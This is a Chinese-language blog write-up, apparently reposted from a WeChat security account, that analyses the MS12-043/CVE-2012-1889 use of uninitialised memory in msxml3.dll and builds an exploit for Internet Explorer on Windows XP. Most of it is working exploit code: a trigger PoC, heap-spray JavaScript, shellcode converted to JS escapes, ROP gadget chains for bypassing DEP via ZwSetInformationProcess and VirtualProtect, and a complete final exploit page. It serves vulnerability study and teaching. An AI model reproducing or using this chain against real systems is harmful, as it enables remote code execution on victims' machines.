一文带你理解MS12-043原理

admin 2023年3月8日10:11:55评论37 views字数 15821阅读52分44秒阅读模式
一文带你理解MS12-043原理

MS12-043漏洞分析+手写ROP全流程

这是个练习写ROP的好例子

漏洞介绍

软件简介

Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。

漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。

实验环境

虚拟机:Windows XP SP3

虚拟机:Kali Linux

漏洞程序:IE6 + IE8

IDA + x86dbg + immdbg mona插件

漏洞复现

kali的msf里查找MS12-043,看有没有现成的利用:

一文带你理解MS12-043原理

刚好有一个,设置payload:set payload windows/execset CMD calc.exerun

一文带你理解MS12-043原理

启动了一个本地HTTP Server,这个服务器应该就是提供poc页面了:

使用Windows XP SP3自带的IE6打开,直接弹出计算器:

一文带你理解MS12-043原理

复现成功,该环境的IE6存在该漏洞,接下来对漏洞样本进行分析

前置基础知识简介

ROP

面向返回编程ROP(Return-oriented programming):这是一种内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行等)。ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

DEP

数据执行保护DEP(Data Execution Protection):用来弥补计算机对数据和代码混淆这一缺陷,主要作用是阻止数据页(堆页,各种堆栈页,内存池页)执行代码,从Windows XP SP2开始支持

DEP的基本原理是将数据所在内存页表示为不可执行页,当程序溢出转入shellcode时,CPU在数据页上执行指令抛出异常,转入异常处理而不进入shellcode执行,当跳转到不可执行区域时,会触发异常0xC0000005(内存页就类似于这种权限PAGE_READWRITE

HeapSpray

HeapSpray 是一种辅助技术,在shellcode前面加上大量滑板指令,组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

漏洞分析

漏洞触发POC:

<html><head>    <title>CVE 2012-1889 PoC</title></head><body>        //"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>    <script>        var obj = document.getElementById('poc').object;//获取obj对象,类id为"msxml3",对象id为"poc"        var src = unescape("%u0c0c%u0c0c");             //0c0c        while (src.length < 0x1002) src += src;         //循环拼接路径        src = "\\xxx" + src;                          //拼接路径        src = src.substr(0, 0x1000 - 10);               //截断最后10字符        var pic = document.createElement("img");        //创建图片元素pic        pic.src = src;                                  //图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间        pic.nameProp;        obj.definition(0);                              //定义并初始化一个空的对象</script></body></html>

通过看POC代码可知,这里漏洞的触发是因为解析img标签src属性处理src的值的时候处理不当导致溢出从而产生漏洞

反汇编里往上追溯溢出值的来源,没太明白是怎么回事

具体参考 [原创] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

感觉现阶段还不足以弄明白是怎么一回事,本次主要就当练习写rop


保存poc为html文件,通过实验环境的IE6打开,程序奔溃,x86dbg接管调试:

一文带你理解MS12-043原理

在程序异常处发现这里eax的值已经被我们输入的值给覆盖了,也就是说,eax的值可控,来自于栈中,并且之后会从eax里取出地址,然后赋值给ecx,然后call [ecx+0x18],拿到控制权

为了方便测试,在物理机编辑HTML,开启一个http服务器给虚拟机访问:

python -m http.server 8080

这里的一个思路就是通过堆喷覆盖高位地址0x0c0c0c0c,然后触发漏洞,构造内容使得能通过下面那个call得到控制权,这里使用上次分析CVE-2010-2883时候见到的堆喷代码,改一改shellcode:

var shellcode = unescape('%u0c0c%u0c0c'+    // mov ecx, [eax]                        '%u4141%u4141'+                        '%u4141%u4141'+                        '%u4141%u4141'+                        '%u4141%u4141'+                        '%u4141%u4141'+                        '%uaaaa%uaaaa'      // [ecx+0x18]                        );var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );while (var_C.length + 20 + 8 < 65536) var_C+=var_C; var_D = var_C.substring(0, (0x0c0c-0x24)/2);var_D += shellcode; // 拼接shellcodevar_D += var_C;     // 拼接滑块代码var_E = var_D.substring(0, 65536/2);while(var_E.length < 0x80000) var_E += var_E;var_H = var_E.substring(0, 0x80000 - (0x1020-0x08) / 2); // 7F7F4var var_F = new Array();for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

这个代码就是申请将近1M大小的数组成员的数组,通过堆喷将shellcode精准填充到0x0c0c0c0c位置上,访问链接测试:

一文带你理解MS12-043原理

可以看到,0x0c0c0c0c已经覆盖了我们编写的shellcode,这里call会跳转到0xAAAAAAAA这个地址上:

一文带你理解MS12-043原理

到此已经成功拿到控制权了,只要合理构造shellcode即可完成利用,接下来进行ROP的构造

漏洞利用:XP+IE6

ROP的意义在于绕过保护执行shellcode,Windows XP + IE 6环境下默认没有DEP保护,所以可以直接去堆中执行代码

这里需要使用js写shellcode,这里去网上(参考资料[4])白嫖了一个shellcodeC语言转JS语言的代码:

int main(int argc,char* argv[]){       //mergeSort(a, 0, 5);
    unsigned char buf[] = {            "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"            "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"            "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"            "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"            "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"            "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"            "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"            "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"            "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"            "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"            "x53xFFx57xFCx53xFFx57xF8" };
        int i = 0;        int n = sizeof(buf) - 1;        if (n & 1) n--;        FILE* fp = fopen("shellocde.txt", "w");        for (i = 0; i < n; i += 2)        {            fprintf(fp, "\u%02X%02X", buf[i + 1], buf[i]);        }        n = sizeof(buf) - 1;        if (n & 1)        {            fprintf(fp, "\u%02X%02X", 0, buf[i]);        }        fclose(fp);
    return 0;}

这里自带的shellcode是0day里面那个failwest的MessageBox,这里也就用这个吧

构造shellcode:

var shellcode = unescape('%u0bf8%u0c0c'+    // mov ecx, [eax] 0x0c0c0bf8                        '%u0c14%u0c0c'      // [ecx+0x18]                        );shellcode+="u68FCu0A6Au1E38u6368uD189u684Fu7432u0C91uF48Bu7E8Du33F4uB7DBu2B04u66E3u33BBu5332u7568u6573u5472uD233u8B64u305Au4B8Bu8B0Cu1C49u098Bu698BuAD08u6A3Du380Au751Eu9505u57FFu95F8u8B60u3C45u4C8Bu7805uCD03u598Bu0320u33DDu47FFu348Bu03BBu99F5uBE0Fu3A06u74C4uC108u07CAuD003uEB46u3BF1u2454u751Cu8BE4u2459uDD03u8B66u7B3Cu598Bu031Cu03DDuBB2Cu5F95u57ABu3D61u0A6Au1E38uA975uDB33u6853u6577u7473u6668u6961u8B6Cu53C4u5050uFF53uFC57uFF53uF857";

测试:

一文带你理解MS12-043原理

shellcode成功执行,完成利用

漏洞利用:XP+IE81

本节内容采用ZwSetInformationProcess的方法绕过DEP,写完ROP之后发现还是运行不了,经过搜索得知,IE8调用过该API,该API只有第一次调用有效,所以本节纯属踩坑,可跳过本节“绕过DEP部分”看下一节用其他方法绕过DEP

Windows XP + IE8 开启了DEP,且堆堆喷做出了限制,直接用字符串赋值的方式会被禁止,js代码会执行失败,再次访问这个poc地址,异常后调试会发现0x0c0c0c0c这个地址没有申请出来,不存在

所以需要修改堆喷的代码,将原来的:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H+"s";

修改为:

for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H.substr(0,var_H.length)+"s";

再次访问刚刚的poc地址:

一文带你理解MS12-043原理

触发DEP数据执行保护,点击调试进去:

一文带你理解MS12-043原理

EIP寄存器指向了我们的弹窗shellcode,且此处发生0xC00000005执行访问违例的异常,这也说明了是DEP的影响,导致这里无法执行

所以需要想个办法来绕过DEP保护来执行shellcode,根据之前学习DEP的经验,可以通过跳转到ZwSetInformationProcess函数将进程的DEP关闭后再转入shellcode执行

一个进程的DEP设置的标识保存在_KEPROCESS中的_KEXECUTE_OPTIONS上,可通过ZwSetInformationProcess进行修改,该结构体声明:

//0x1 bytes (sizeof)struct _KEXECUTE_OPTIONS{    UCHAR ExecuteDisable:1;         //0x0 DEP开启时,设置为1    UCHAR ExecuteEnable:1;          //0x0 DEP关闭时,设置为1    UCHAR DisableThunkEmulation:1;  //0x0 兼容ATL程序用的    UCHAR Permanent:1;              //0x0 设置1后,这些标志不能再修改    UCHAR ExecuteDispatchEnable:1;  //0x0    UCHAR ImageDispatchEnable:1;    //0x0    UCHAR Spare:2;                  //0x0};

影响DEP的是前两位,只要设置该结构体的值为0x02即可关闭DEP

设置函数ZwSetInformationProcess:

NTSYSCALLAPINTSTATUS NTAPI ZwSetInformationProcess  (      _In_ HANDLE     ProcessHandle,  // 进程句柄,设置为-1时表示当前进程    _In_ PROCESSINFOCLASS   ProcessInformationClass,    // 信息类    _In_ PVOID  ProcessInformation,         // 设置_KEXECUTE_OPTIONS    _In_ ULONG  ProcessInformationLength    // 第三个参数的长度)  

根据参考资料[6],可知,关闭DEP需要的参数依次是:-1,0x22,0x2,0x4

当一个进程的Permanent位没有设置,加载DLL时,会对DLL进行DEP兼容性检查,如果存在兼容性问题则会关闭DEP,有一个函数LdrpCheckNXCompatibility内部进行兼容性判断,判断兼容性有问题,就会调用ZwSetInformationProcess函数:(使用windbg查看该程序)

0:000> uf ntdll!LdrpCheckNXCompatibilityntdll!LdrpCheckNXCompatibility:7c93cd11 8bff            mov     edi,edi7c93cd13 55              push    ebp7c93cd14 8bec            mov     ebp,esp7c93cd16 51              push    ecx7c93cd17 8365fc00        and     dword ptr [ebp-4],07c93cd1b 56              push    esi7c93cd1c ff7508          push    dword ptr [ebp+8]7c93cd1f e887ffffff      call    ntdll!LdrpCheckSafeDiscDll (7c93ccab);检查是否是SafeDiskDll7c93cd24 3c01            cmp     al,1   ; al和1对比,如果检查成功,al会返回1,所以这里要设置为17c93cd26 6a02            push    2     7c93cd28 5e              pop     esi    ; 给esi设置为27c93cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 跳转(见末尾) ntdll!LdrpCheckNXCompatibility+0x1d:7c93cd2f 837dfc00        cmp     dword ptr [ebp-4],0    ; ebp-4和0对比,判断ebp-4是不是2,如果是2,就会跳转到DEP关闭的流程7c93cd33 0f85f89a0100    jne     ntdll!LdrpCheckNXCompatibility+0x4d (7c956831); 不相同则跳转,这里会跳转(见下面) ... ntdll!LdrpCheckNXCompatibility+0x5c:7c93cd6d 5e              pop     esi   7c93cd6e c9              leave7c93cd6f c20400          ret     4      ; 返回 ret 4 ntdll!LdrpCheckNXCompatibility+0x4d:7c956831 6a04            push    4      ; 47c956833 8d45fc          lea     eax,[ebp-4]7c956836 50              push    eax    ; 27c956837 6a22            push    22h    ; 0x227c956839 6aff            push    0FFFFFFFFh ; -17c95683b e84074fdff      call    ntdll!ZwSetInformationProcess (7c92dc80);刚好是关闭DEP的参数,跳转到这里把DEP关闭了7c956840 e92865feff      jmp     ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d); 往回跳转(见上面) ntdll!LdrpCheckNXCompatibility+0x1a:7c95f70e 8975fc          mov     dword ptr [ebp-4],esi  ; 把esi赋值给[ebp-4]7c95f711 e919d6fdff      jmp     ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f); 跳转回去

这里可以直接跳转到这个判断处(0x7c93cd24),提前把al设置成1,走al=1的逻辑,这就是关闭DEP的流程

现在要做的事情流程已经很清楚了,就是:

1. 切换ebp到0x0c0c0c0c,控制堆栈

2. 给al赋值为1

3. 跳转到0x7c93cd24处关闭DEP

4. 跳转到shellcode执行

使用msf自带的工具msfpescan协助找跳板

踩坑

这里IE8打开链接的时候会创建子进程,然而每次加载msxml3.dll的基址还不一样,导致这里调试出现了困难,这里需要找一个其他基址不变的模块来寻找跳板

这里由于创建了子进程,直接触发崩溃实时调试器接管不到崩溃前的状态,所以没法从断点一点一点往下看执行和栈,使用x86dbg插件dbgchild也没法在进入rop之前断下来

这里的解决方案是,直接就让他进入后面的异常处理部分,然后修改EIP指针回到漏洞的触发点来跟进shellcode的编写:

一文带你理解MS12-043原理

因为进入rop之后,包括堆栈和寄存器都是我们自己构造的,所以这里直接修改eip为触发漏洞前的地址,和eax=0x0c0c0c0c,这两个值都是触发漏洞的时候必然等于的,这样来进行调试是没问题的

或者可以把IE8卸载了,装回IE6,再上面写完绕过DEP的ROP再装回IE8测试,这里采用的是先用IE6来写

构造ROP-拿到控制权

首先需要修改栈顶esp到我们构造的内存里头

想找一个pop xxx;pop esp;ret的指令,找了半天没找到

找到了pop esp;ret指令,但是call过去会有返回地址入栈,也没法修复esp

经过一个下午的搜索尝试,发现还有这个指令可用:xchg eax,esp;ret,可以把eax里的0x0c0c0c0c交换给esp,然而还是不行,因为交换过去之后,esp里存放的一定不是能操作的返回地址

mona搜索xchg eax,esp;ret

Log data, item 21
Address=75C7BC70
Message= 0x75c7bc70 : "x94xc3" | {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:WINDOWSsystem32urlmon.dll)

再次观察一下这段代码:

一文带你理解MS12-043原理

整理一下当前的信息:

1. shellcode中可控内容从0x0c0c0c0c开始,且0x0c0c0c0c之前的内存的值均为0x0c0c0c0c

2. eax的值是我们可以操纵的

3. esi的值来自eax

4. ecx的值来自[eax]

5. 第一个call使用的是[ecx+0x18]的值,也就是说[[eax]+0x18]这个地址是第一个call的地址,此时交换esp会导致无法跳转卡住,直接使用ret可以跳过

6. 第一个call之后会赋值eax = [esi],如果[esi]和esi不相同的话,[esi]是一个保存指令的地址,那么xchg之后ret就可以使用了

7. 第二个call使用的是[eax+8]

综上,可以得出,给eax填充0x0c0c0c08,该地址的值为0x0c0c0c0c,不会影响第一个call所在的0x0c0c0c24,然后在第一个call之后,会给eax赋值0x0c0c0c0c,相比第一个call直接使用xchg,0x0c0c0c0c的值是可修改的了,因为使用了0x0c0c0c08来作为基址计算第一个call的地址,这时再进行xchg就可以拿到控制流了

构造shellcode:

var shellcode = "u4141u4242"+ // esp                "u9090u9090"+ //                "ubc70u75c7"+ // call [ecx+0x18] ret                "u9090u9090u9090u9090u9090u9090"+   // fill                "ubc71u75c7"  // xchg eax,esp;ret                ;

测试:

一文带你理解MS12-043原理

此时esp已经是可控的了,接下来就方便构造返回地址了

构造ROP绕过DEP

接下来需要给al赋值1,mov al,1;ret,使用immdbg的mona插件进行搜索:

>!mona find -s "xB0x01xc3" -m "kernel32.dll"...Log data, item 14 Address=7C80C190 Message=  0x7c80c190 : "xB0x01xc3" |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32kernel32.dll)

然后接下来就是跳转去0x7c93cd24关闭DEP了:

构造shellcode:

var shellcode = "uc190u7c80"+ // mov al,1 ret                "ucd24u7c93"+ // Close DEP 0x7c93cd24                "ubc70u75c7"+ // call [ecx+0x18] ret                "u9090u9090u9090u9090u9090u9090"+                "ubc71u75c7"  // xchg eax,esp;ret                ;                        

测试调试:

一文带你理解MS12-043原理

不行,出问题了,这里leave指令会把ebp给esp,这里还需要先修复一下ebp才行

找一个push esp; pop ebp; ret指令
Log data, item 19 Address=75CC97D8 Message=  0x75cc97d8 : "x54x5dxc2" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:WINDOWSsystem32urlmon.dll)  Log data, item 3 Address=76FE67B0 Message=  0x76fe67b0 : "x54x5dxc2x08" |  {PAGE_EXECUTE_READ} [CLBCATQ.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v2001.12.4414.700 (C:WINDOWSsystem32CLBCATQ.DLL)
修复完ebp,然后给al赋值1,关闭DEP,构造shellcode:
var shellcode = "u97d8u75cc"+ // repire ebp push esp pop ebp ret 4 0x75CC97D8                "uc190u7c80"+ // mov al,1 ret                "ubc70u75c7"+ // call [ecx+0x18] ret                "ucd24u7c93"+ // CLOSE DEP                "u9090u9090"+                "u9090u9090"+                "ubc71u75c7"  // xchg eax,esp;ret                ;                           

调试:

一文带你理解MS12-043原理

可见,调用完成之后,esp位置原有内容被覆盖了,到这里又卡住了,这里ebp在esp上面,导致最后交换ebp和esp的时候,esp的位置靠上,而非靠下,靠下的地址我们好控制,靠上的0x0c0c0c14是没法再控制的,所以需要给ebp一个合适的可控的位置,从而能控制返回地址:

pop ebp,ret:
Log data, item 22 Address=75C61CD6 Message=  0x75c61cd6 : "x5dxc3" |  {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:WINDOWSsystem32urlmon.dll)
这里给ebp一个紧挨着ROP的地方,shellcode构造:
var shellcode = "u67b0u76fe"+ // repire ebp push esp pop ebp ret 8 0x76fe67b0                "uc190u7c80"+ // mov al,1 ret                "ubc70u75c7"+ // xchg esp, eax ret                "u9090u9090"+                "u1cd6u75c6"+ // pop ebp ret 0x75C61CD6                "u0c28u0c0c"+ // ebp value                "ubc71u75c7"+ // call [ecx+0x18] ret                "ucd24u7c93"+ // CLOSE DEP                "u0c30u0c0c"  // shellcode address                ;

这里给ebp的地址就是这个地址就是ebp下面一点的位置:

一文带你理解MS12-043原理

然后接下来跳转到ret里:

一文带你理解MS12-043原理

接下来紧接着就是关掉DEP的跳转,执行到最后:esp的位置会是ebp+4的地方,也就是0x0c0c0c2C:

一文带你理解MS12-043原理

往这里填写shellcode的地址就可以直接跳转去执行了,go:

一文带你理解MS12-043原理

IE6成功通过修改DEP的ROP弹窗,接下来换IE8

IE6的利用移植IE8

更新了IE8之后发现还是不能运行,点开调试发现有些IE6上的地址在IE8上不能用

注意:找滑板指令一定要找系统自带的那种,软件的dll可能会更新,然后地址就变了

接下来搜索相应的功能指令地址替换回去即可

替换xchg esp,eax;ret为kernel32.dll中的地址

Log data, item 18
Address=7C830E49
Message= 0x7c830e49 : "x94xc3" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32kernel32.dll)

替换pop ebp;ret

Log data, item 5
Address=77BEBB7C
Message= 0x77bebb7c : "x5dxc3" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:WINDOWSsystem32msvcrt.dll)

结论

失败了,经过一番搜索(参考资料[8])得知,这个函数只有第一次调用的时候有效,IE8调用过这个函数,所以这个函数再次调用就无效了,所以用这种方法绕过IE8的DEP失败,接下来使用下一种方法绕DEP

今天就到这里(从早上10点肝到晚上10点告诉我就这???),明天继续,明天看我半天肝出来!

漏洞利用:WindowsXP+IE82

下一个绕过DEP的方法:使用VirtualProtect绕过DEP

函数声明:

BOOL VirtualProtect(
[in] LPVOID lpAddress, // 地址
[in] SIZE_T dwSize, // 大小
[in] DWORD flNewProtect, // 保护属性,可执行是0x40
[out] PDWORD lpflOldProtect // 保存旧的保护属性,需要一个可写的地址即可
);

使用windbg查看:

0:000> uf VirtualProtect
kernel32!VirtualProtect:
7c801ad4 8bff mov edi,edi
7c801ad6 55 push ebp
7c801ad7 8bec mov ebp,esp
7c801ad9 ff7514 push dword ptr [ebp+14h] ;旧的属性
7c801adc ff7510 push dword ptr [ebp+10h] ;修改属性
7c801adf ff750c push dword ptr [ebp+0Ch] ;修改大小
7c801ae2 ff7508 push dword ptr [ebp+8] ;修改地址
7c801ae5 6aff push 0FFFFFFFFh ;当前进程
7c801ae7 e875ffffff call kernel32!VirtualProtectEx (7c801a61)
7c801aec 5d pop ebp
7c801aed c21000 ret 10h

只需要在栈里准备好参数之后跳转到0x7c801ad9进行调用即可

刚刚拿到控制流的shellcode:

var shellcode = "u4141u4242"+ // esp                "u9090u9090"+                "ubc70u75c7"+ // call [ecx+0x18] ret                "u9090u9090"+                "u9090u9090"+                "u9090u9090"+   // fill                "ubc71u75c7"  // xchg eax,esp;ret                ;

接下来要做的事情:

1. 把esp放到安全的地方

2. 修复ebp

3. 调用函数

4. 跳转至shellcode执行

还是拿刚刚找到的跳板:

地址

指令

0x77BEBB7C

pop ebp ret

0x770F17A3

ret 8

0x7c830e49

xchg esp, eax

构造shellcode如下:

var shellcode = "u17a3u770f"+ // ret 8 770F17A3                "ubb7cu77be"+ // pop ebp ret 0x77BEBB7C                "u0e49u7c83"+ // xchg eax,esp;ret 0x7C830E4a                "u9090u9090"+                "u0c20u0c0c"+   // ebp value                "u1ad9u7c80"+ // VirtualProtect 0x7c801ad9                "u0e4au7c83"+ // call [ecx+0x18] ret 0x7C830E49            //  "u9090u9090"+ // 异常断程序用的,和上面那一行互换即可                "u0c38u0c0c"+ // Param address                "u1000u0000"+ // Param Size                "u0040u0000"+ // Param Protect 0x40                "u0c0cu0c00"  // Old Protect               ;

首先一个ret 8,跳转到pop ebp ret的同时在栈中跳过xchg esp,ear ret指令的地址

弹出为ebp构造的值,该值位置保存有VirtualProtect需要的参数:

一文带你理解MS12-043原理

这里参数里的最后一个入栈的就是shellcode首地址了

执行完成之后

一文带你理解MS12-043原理

直接跳转到shellcode里进行执行,一气呵成,效果展示:

一文带你理解MS12-043原理

完整利用代码:

vul-analysis-study/MS12-043 at main · kn0sky/vul-analysis-study (github.com)
<html>
<head>    <title>CVE 2012-1889 PoC</title></head>
<body>    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>    <h1>66666</h1>asdasd    <script>        //"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID        var shellcode = "u17a3u770f" + // ret 8 770F17A3            "ubb7cu77be" + // pop ebp ret 0x77BEBB7C            "u0e49u7c83" + // xchg eax,esp;ret 0x7C830E4a            "u9090u9090" +            "u0c20u0c0c" +  // ebp value            "u1ad9u7c80" + // VirtualProtect 0x7c801ad9            "u0e4au7c83" + // call [ecx+0x18] ret 0x7C830E49            //  "u9090u9090"+            "u0c38u0c0c" + // Param address            "u1000u0000" + // Param Size            "u0040u0000" + // Param Protect 0x40            "u0c0cu0c00"  // Old Protect                          ;        shellcode += "u68FCu0A6Au1E38u6368uD189u684Fu7432u0C91uF48Bu7E8Du33F4uB7DBu2B04u66E3u33BBu5332u7568u6573u5472uD233u8B64u305Au4B8Bu8B0Cu1C49u098Bu698BuAD08u6A3Du380Au751Eu9505u57FFu95F8u8B60u3C45u4C8Bu7805uCD03u598Bu0320u33DDu47FFu348Bu03BBu99F5uBE0Fu3A06u74C4uC108u07CAuD003uEB46u3BF1u2454u751Cu8BE4u2459uDD03u8B66u7B3Cu598Bu031Cu03DDuBB2Cu5F95u57ABu3D61u0A6Au1E38uA975uDB33u6853u6577u7473u6668u6961u8B6Cu53C4u5050uFF53uFC57uFF53uF857";        var var_C = unescape("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c");        while (var_C.length + 20 + 8 < 65536) var_C += var_C;        var_D = var_C.substring(0, (0x0c0c - 0x24) / 2);        var_D += shellcode; // 拼接shellcode        var_D += var_C;     // 拼接滑块代码        var_E = var_D.substring(0, 65536 / 2);        while (var_E.length < 0x80000) var_E += var_E;        var_H = var_E.substring(0, 0x80000 - (0x1020 - 0x08) / 2); // 7F7F4        var var_F = new Array();        for (var_G = 0; var_G < 0x1f0; var_G++) var_F[var_G] = var_H.substr(0, var_H.length) + "s";
        var obj = document.getElementById('poc').object;//获取obj对象,类id为"msxml3",对象id为"poc"        var src = unescape("%u0c08%u0c0c");             //0c0c        while (src.length < 0x1002) src += src;         //循环拼接路径        src = "\\xxx" + src;                          //拼接路径        src = src.substr(0, 0x1000 - 10);               //截断最后10字符        var pic = document.createElement("img");        //创建图片元素pic        pic.src = src;                                  //图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间        pic.nameProp;        obj.definition(0);                              //定义并初始化一个空的对象</script></body>
</html>

参考资料

[1] [原创][分享]CVE-2012-1889(暴雷)漏洞分析报告-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263702.htm)

[2] Internet Explorer(CVE-2012-1889)暴雷漏洞分析报告【WinXP&IE6版】_capnik的博客-CSDN博客

(https://blog.csdn.net/capnik/article/details/58614449)

[3] 【新提醒】暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告 - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn(https://www.52pojie.cn/thread-730324-1-1.html)

[4] ShellCode转换为JavaScript支持的形式代码_蛋蛋的忧桑Y的博客-CSDN博客(https://blog.csdn.net/qq_22000459/article/details/75602013)

[5] CVE-2012-1889(暴雷)漏洞分析_余大头的博客-CSDN博客https://blog.csdn.net/datouyu0824/article/details/115040689)

[6] 《0day安全》第二版.DEP保护机制相关内容

[7] msfpescan用法_whatday的博客-CSDN博客https://blog.csdn.net/whatday/article/details/82909485)

[8] [求助]zwsetinformationprocess 关闭DEP失败-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.comhttps://bbs.pediy.com/thread-183175.htm)

[9] [原创][分享] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.comhttps://bbs.pediy.com/thread-263717.htm)

红蓝二进制学习交流群:

一文带你理解MS12-043原理

如果添加不了了,请添加:

一文带你理解MS12-043原理

原文始发于微信公众号(Th0r安全):一文带你理解MS12-043原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日10:11:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文带你理解MS12-043原理http://cn-sec.com/archives/1240316.html

发表评论

匿名网友 填写信息